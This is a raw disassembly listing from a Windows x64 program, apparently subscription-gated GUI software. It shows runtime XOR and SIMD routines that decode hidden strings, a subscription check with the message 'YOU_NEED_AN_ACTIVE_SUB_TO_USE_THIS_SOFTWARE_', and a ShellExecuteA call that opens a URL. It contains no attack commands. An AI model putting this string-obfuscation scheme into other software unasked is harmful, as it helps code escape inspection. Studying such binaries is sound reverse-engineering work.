lea rcx, [rbp - 0x30]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm13
addss xmm2, xmm15
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
movss xmm0, dword [rax + 0x134]
maxss xmm1, dword [rax + 0x118]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov eax, dword [0x1400f81e0]
mov rdx, qword [0x1401e2a98]
mov dword [rbp - 0x30], eax
movzx eax, byte [0x1400f81e4]
xor byte [rbp - 0x2f], 0x32
xor al, 0x35
xor byte [rbp - 0x2e], 0x33
xor byte [rbp - 0x2d], 0x34
mov byte [rbp - 0x2c], al
mov dword [rbp + 0x218], 0x41c80000
mov dword [rbp + 0x21c], 0x41c80000
mov byte [rbp - 0x30], reloc.WLDAP32.dll_Ordinal_35
call fcn.14004aa30
test al, al
je 0x14004f78c
mov eax, dword [str.BVZ5]
lea r8, str.https:__www.example.com
mov dword [rbp - 0x28], eax
lea rdx, [rbp - 0x28]
movzx eax, byte [0x1400f7cc0]
xor r9d, r9d
xor byte [rbp - 0x27], 0x32
xor al, 0x35
xor byte [rbp - 0x26], 0x33
xor ecx, ecx
xor byte [rbp - 0x25], 0x34
mov dword [rsp + 0x28], 1
mov byte [rbp - 0x24], al
mov byte [rbp - 0x28], reloc.WS2_32.dll_WSAGetLastError
mov qword [rsp + 0x20], r14
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
movsd xmm0, qword [str.gwagyy]
mov eax, dword [0x1400f7c70]
movsd qword [rbp + 0x30], xmm0
mov dword [rbp + 0x38], eax
je 0x14004f914
mov r8d, r14d
cmp r13d, 2
jl 0x14004f8c8
movdqa xmm2, xmmword [0x1400f8670]
mov r8d, 8
movdqa xmm3, xmmword [0x1400f8680]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm0, xmm2
mov eax, dword [0x1400f86e0]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r15d
movd xmm5, edi
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400f8690]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.gwagyy]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x30], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400f8690]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
movd xmm1, dword [rbp + 0x34]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x34], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x30]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x14004f8e0
movaps xmm0, xmmword [0x1400f8790]
lea rcx, [rbp + 0x8c8]
movups xmmword [rbp + 0x8c8], xmm0
call fcn.140003830
mov rcx, qword [0x1401e29d0]
movaps xmm1, xmm11
movaps xmm2, xmm10
mov r8d, eax
addss xmm1, dword [0x1400f8520]
addss xmm2, dword [0x1400f856c]
movss xmm3, dword [rcx + 0x1a80]
mov rcx, qword [rcx + 0x1a78]
test eax, 0xff000000
je 0x14004f9f7
lea rdx, [rbp + 0x30]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rdx + rax], 0
jne 0x14004f975
lea rdx, [rbp + 0x30]
add rdx, rax
lea rax, [rbp + 0x30]
cmp rax, rdx
je 0x14004f9f7
test rcx, rcx
jne 0x14004f99b
mov rax, qword [rbx + 0x38]
mov rcx, qword [rax + 8]
ucomiss xmm3, xmm12
jp 0x14004f9ac
jne 0x14004f9ac
mov rax, qword [rbx + 0x38]
movss xmm3, dword [rax + 0x10]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [rbp + 0x30]
movss dword [rsp + 0x40], xmm12
mov qword [rsp + 0x38], rdx
mov rdx, rbx
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x28], rax
movaps xmm0, xmm1
mov dword [rsp + 0x20], r8d
unpcklps xmm0, xmm2
movaps xmm2, xmm3
movq r9, xmm0
call fcn.140033470
mov rdx, qword [0x1401e2a68]
addss xmm9, xmm11
movaps xmm0, xmm10
mov dword [rbp + 0x228], 0x3f800000
addss xmm0, dword [0x1400f84f0]
mov dword [rbp + 0x22c], 0x3f800000
mov qword [rbp + 0x230], 0
subss xmm9, dword [0x1400f8554]
movss dword [rbp + 0x114], xmm0
addss xmm0, xmm15
movss dword [rbp + 0x110], xmm9
addss xmm9, dword [0x1400f8554]
movss dword [rbp + 0x10c], xmm0
movss dword [rbp + 0x108], xmm9
cmp rdx, qword [rbx + 0x98]
setne dil
je 0x14004fa7c
mov rcx, rbx
call fcn.14002c6d0
mov edx, 6
mov rcx, rbx
lea r8d, [rdx - 2]
call fcn.14002c750
lea rax, [rbp + 0x228]
mov dword [rsp + 0x28], 0xffffffff
lea r9, [rbp + 0x230]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x108]
mov rcx, rbx
lea rdx, [rbp + 0x110]
call fcn.14002c870
test dil, dil
je 0x14004faee
movsxd rcx, dword [rbx + 0x68]
lea eax, [rcx - 1]
mov dword [rbx + 0x68], eax
test eax, eax
jne 0x14004fad6
mov rax, r14
jmp 0x14004fadf
mov rax, qword [rbx + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov rcx, rbx
mov qword [rbx + 0x98], rax
call fcn.14002c480
cmp byte [0x1401e29cb], 0
je 0x140054ecd
mov eax, dword [0x1401e2a54]
test eax, eax
jne 0x140050406
mov eax, dword [0x1400f7f78]
mov r8d, r14d
movsd xmm0, qword [0x1400f7f70]
mov r10d, Ordinal_33
mov dword [rbp + 0x28], eax
movzx eax, byte [0x1400f7f7c]
mov byte [rbp + 0x2c], al
movsd qword [rbp + 0x20], xmm0
cmp r13d, 2
jl 0x14004fc49
movdqa xmm2, xmmword [0x1400f8670]
mov r8d, 8
movdqa xmm3, xmmword [0x1400f8680]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm0, xmm2
mov eax, dword [0x1400f86e0]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r15d
movd xmm5, r10d
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400f8690]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400f7f70]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x20], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400f8690]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
movd xmm1, dword [rbp + 0x24]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x24], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x20]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14004fc60
movaps xmm0, xmmword [0x1400f87a0]
lea rcx, [rbp + 0x8d8]
mov eax, dword [0x1400f7f78]
movups xmmword [rbp + 0x8d8], xmm0
mov dword [rbp + 0x60], eax
movsd xmm0, qword [0x1400f7f70]
movzx eax, byte [0x1400f7f7c]
movsd qword [rbp + 0x58], xmm0
mov byte [rbp + 0x64], al
call fcn.140003830
mov edi, eax
mov r8d, r14d
cmp r13d, 2
jl 0x14004fdea
movdqa xmm2, xmmword [0x1400f8670]
mov r8d, 8
movdqa xmm3, xmmword [0x1400f8680]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm0, xmm2
mov eax, dword [0x1400f86e0]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r15d
movd xmm5, r10d
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400f8690]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400f7f70]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x58], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400f8690]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
movd xmm1, dword [rbp + 0x5c]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x5c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x58]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14004fe00
mov rax, qword [0x1401e29d0]
lea rcx, [rbp + 0x58]
movss xmm0, dword [0x1400f85b0]
lea rdx, [rbp + 0x118]
movss xmm3, dword [0x1400f85a0]
movaps xmm6, xmm10
addss xmm6, dword [0x1400f84f8]
movss xmm2, dword [rax + 0x1a80]
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rcx
mov rcx, qword [rax + 0x1a78]
movss dword [rsp + 0x20], xmm0
call fcn.140033050
movss xmm0, dword [rbp + 0x118]
mov rcx, r12
addss xmm0, dword [0x1400f8444]
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x118], xmm1
addss xmm1, xmm11
addss xmm1, dword [0x1400f852c]
test edi, 0xff000000
je 0x14004ff42
lea rdx, [rbp + 0x20]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rdx + rax], 0
jne 0x14004fed1
lea rdx, [rbp + 0x20]
add rdx, rax
lea rax, [rbp + 0x20]
cmp rax, rdx
je 0x14004ff42
test r12, r12
jne 0x14004fef7
mov rax, qword [rbx + 0x38]
mov rcx, qword [rax + 8]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [rbp + 0x20]
movss dword [rsp + 0x40], xmm12
movaps xmm2, xmm14
mov qword [rsp + 0x38], rdx
mov rdx, rbx
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x28], rax
movaps xmm0, xmm1
mov dword [rsp + 0x20], edi
unpcklps xmm0, xmm6
movq r9, xmm0
call fcn.140033470
mov rcx, qword [0x1401e29d0]
lea r10, str.NO_SUB
cmp byte [0x1401e29cc], 0
mov r8d, r14d
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x1400f8544]
addss xmm2, dword [0x1400f850c]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm0, dword [rax + 0x134]
movss xmm1, dword [rax + 0x130]
maxss xmm0, xmm2
maxss xmm1, dword [rax + 0x118]
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
lea rax, [0x1400f78c0]
movups xmm0, xmmword [0x1400f7bc8]
cmovne r10, rax
mov dword [rbp + 0x120], 0x43200000
mov eax, dword [0x1400f7bd8]
mov dword [rbp + 0x520], eax
movzx eax, byte [0x1400f7bdc]
mov byte [rbp + 0x524], al
mov dword [rbp + 0x124], 0x43700000
mov dword [rbp + 0x128], 0x42960000
mov dword [rbp + 0x12c], 0x42960000
movups xmmword [rbp + 0x510], xmm0
cmp r13d, 2
jl 0x14005018d
movdqa xmm0, xmmword [0x1400f86e0]
lea rcx, [rbp + 0x510]
movdqa xmm5, xmmword [0x1400f8670]
mov eax, Ordinal_33
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm7, xmmword [0x1400f8690]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
movd xmm8, eax
movd xmm6, r15d
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140050080
cmp r8d, 0x15
jge 0x1400501d4
movsxd rax, r8d
lea r9, [rbp + 0x510]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x1400501a0
mov r8, qword [0x1401e2a90]
lea rax, [rbp + 0x120]
lea r9, [rbp + 0x128]
mov qword [rsp + 0x20], rax
mov rdx, r10
lea rcx, [rbp + 0x510]
call fcn.14004d4d0
test al, al
je 0x140050333
cmp byte [0x1401e29cc], 0
je 0x140050224
mov byte [reloc.WS2_32.dll_accept], 0
mov dword [0x1401e2a54], 1
jmp 0x14005032c
xorps xmm0, xmm0
mov qword [rbp + 0x480], r14
mov r8d, Ordinal_46
mov qword [rbp + 0x488], r14
lea rdx, str.YOU_NEED_AN_ACTIVE_SUB_TO_USE_THIS_SOFTWARE_
lea rcx, [rbp + 0x470]
movups xmmword [rbp + 0x470], xmm0
call fcn.140058d70
lea rcx, [rbp + 0x540]
call fcn.140049a40
movss xmm2, dword [0x1400f8494]
lea rdx, [rbp + 0x470]
mov rcx, rax
call fcn.14004de20
mov rdx, qword [rbp + 0x558]
cmp rdx, 0x10
jb 0x1400502b9
mov rcx, qword [rbp + 0x540]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400502b4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400555d2
call fcn.1400c1ae0
mov rdx, qword [rbp + 0x488]
mov qword [rbp + 0x550], r14
mov qword [rbp + 0x558], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x540], 0
cmp rdx, 0x10
jb 0x140050313
mov rcx, qword [rbp + 0x470]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005030e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400555d2
call fcn.1400c1ae0
mov qword [rbp + 0x480], r14
mov qword [rbp + 0x488], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x470], 0
mov byte [0x1401e29c9], 0
movaps xmm0, xmmword [0x1400f8790]
lea r9, [0x1401e15e8]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
lea rcx, [rbp + 0x8e8]
movups xmmword [rbp + 0x8e8], xmm0
cmovae r9, qword [0x1401e15e8]
call fcn.140003830
addss xmm11, xmm14
mov r10d, eax
mov rcx, r12
addss xmm10, dword [0x1400f8570]
test eax, 0xff000000
je 0x140054ecd
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [r9 + r8], 0
jne 0x140050390
add r8, r9
cmp r9, r8
je 0x140054ecd
test r12, r12
jne 0x1400503b3
mov rax, qword [rbx + 0x38]
mov rcx, qword [rax + 8]
movups xmm0, xmmword [rbx + 0x88]
lea rax, [rsp + 0x60]
mov byte [rsp + 0x48], 0
movss xmm2, dword [0x1400f84c8]
mov rdx, rbx
movss dword [rsp + 0x40], xmm12
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], r9
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x28], rax
movaps xmm0, xmm11
mov dword [rsp + 0x20], r10d
unpcklps xmm0, xmm10
movq r9, xmm0
call fcn.140033470
jmp 0x140054ecd
cmp eax, 1
jne 0x14005153d
mov rdx, qword [0x1401e2a78]
movaps xmm0, xmm11
movaps xmm1, xmm10
movss dword [rbp + 0x148], xmm11
addss xmm1, dword [0x1400f8574]
addss xmm0, xmm8
movss dword [rbp + 0x14c], xmm10
mov dword [rbp + 0x130], 0x3f800000
mov dword [rbp + 0x134], 0x3f800000
mov qword [rbp + 0x138], 0
movss dword [rbp + 0x144], xmm1
movss dword [rbp + 0x140], xmm0
cmp rdx, qword [rbx + 0x98]
setne dil
je 0x140050481
mov rcx, rbx
call fcn.14002c6d0
mov edx, 6
mov rcx, rbx
lea r8d, [rdx - 2]
call fcn.14002c750
lea rax, [rbp + 0x130]
mov dword [rsp + 0x28], 0xffffffff
lea r9, [rbp + 0x138]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x140]
mov rcx, rbx
lea rdx, [rbp + 0x148]
call fcn.14002c870
test dil, dil
je 0x1400504f3
movsxd rcx, dword [rbx + 0x68]
lea eax, [rcx - 1]
mov dword [rbx + 0x68], eax
test eax, eax
jne 0x1400504db
mov rax, r14
jmp 0x1400504e4
mov rax, qword [rbx + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov rcx, rbx
mov qword [rbx + 0x98], rax
call fcn.14002c480
mov rcx, qword [0x1401e29d0]
lea rdx, [rbp + 0x150]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movzx ecx, word [0x1400f7c1c]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm13
addss xmm2, xmm13
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
movss xmm0, dword [rax + 0x134]
maxss xmm1, dword [rax + 0x118]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov eax, dword [str.cwgagx7]
mov dword [rbp - 0x50], eax
movzx eax, byte [0x1400f7c1e]
xor byte [rbp - 0x4f], 0x32
xor al, 0x37
xor byte [rbp - 0x4e], 0x33
xor byte [rbp - 0x4d], 0x34
mov word [rbp - 0x4c], cx
xor cl, 0x35
xor byte [rbp - 0x4b], 0x36
mov byte [rbp - 0x4c], cl
lea rcx, [rbp - 0x50]
mov byte [rbp - 0x4a], al
mov dword [rbp + 0x150], 0x42a00000
mov dword [rbp + 0x154], 0x41c80000
mov byte [rbp - 0x50], 0x52
call fcn.14004bc60
movups xmm0, xmmword [0x1400f7bc8]
test al, al
mov eax, dword [0x1400f7bd8]
mov dword [rbp + 0xc0], eax
movzx eax, byte [0x1400f7bdc]
mov byte [rbp + 0xc4], al
movups xmmword [rbp + 0xb0], xmm0
je 0x140050606
mov byte [reloc.WS2_32.dll_accept], 1
mov dword [0x1401e2a54], r14d
mov r8d, r14d
mov edi, Ordinal_33
cmp r13d, 2
jl 0x14005076d
movdqa xmm0, xmmword [0x1400f86e0]
lea rcx, [rbp + 0xb0]
movdqa xmm5, xmmword [0x1400f8670]
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm7, xmmword [0x1400f8690]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
movd xmm6, r15d
movd xmm8, edi
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140050660
cmp r8d, 0x15
jge 0x1400507b4
movsxd rax, r8d
lea r9, [rbp + 0xb0]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x140050780
movaps xmm0, xmmword [0x1400f8720]
lea rcx, [rbp + 0x670]
movups xmmword [rbp + 0x670], xmm0
call fcn.140003830
movaps xmm1, xmm10
movaps xmm9, xmm11
mov r8d, eax
mov rcx, r12
addss xmm1, dword [0x1400f8508]
addss xmm9, dword [0x1400f84d8]
test eax, 0xff000000
je 0x140050882
lea rdx, [rbp + 0xb0]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rdx + rax], 0
jne 0x140050806
lea rdx, [rbp + 0xb0]
add rdx, rax
lea rax, [rbp + 0xb0]
cmp rax, rdx
je 0x140050882
test r12, r12
jne 0x140050832
mov rax, qword [rbx + 0x38]
mov rcx, qword [rax + 8]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [rbp + 0xb0]
movss dword [rsp + 0x40], xmm12
movaps xmm2, xmm14
mov qword [rsp + 0x38], rdx
mov rdx, rbx
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x28], rax
movaps xmm0, xmm9
mov dword [rsp + 0x20], r8d
unpcklps xmm0, xmm1
movq r9, xmm0
call fcn.140033470
cmp byte [0x1400f827f], 0
movups xmm0, xmmword [str.bdyo]
movups xmmword [rbp + 0x348], xmm0
movsd xmm0, qword [0x1400f8278]
movsd qword [rbp + 0x358], xmm0
je 0x140050a45
cmp r13d, 2
jl 0x140050a07
movdqa xmm0, xmmword [0x1400f86e0]
lea rcx, [rbp + 0x348]
movdqa xmm5, xmmword [0x1400f8670]
mov edx, r14d
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm7, xmmword [0x1400f8690]
movdqa xmmword [rsp + 0x60], xmm0
mov r8d, dword [rsp + 0x60]
movd xmm6, r15d
movd xmm8, edi
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
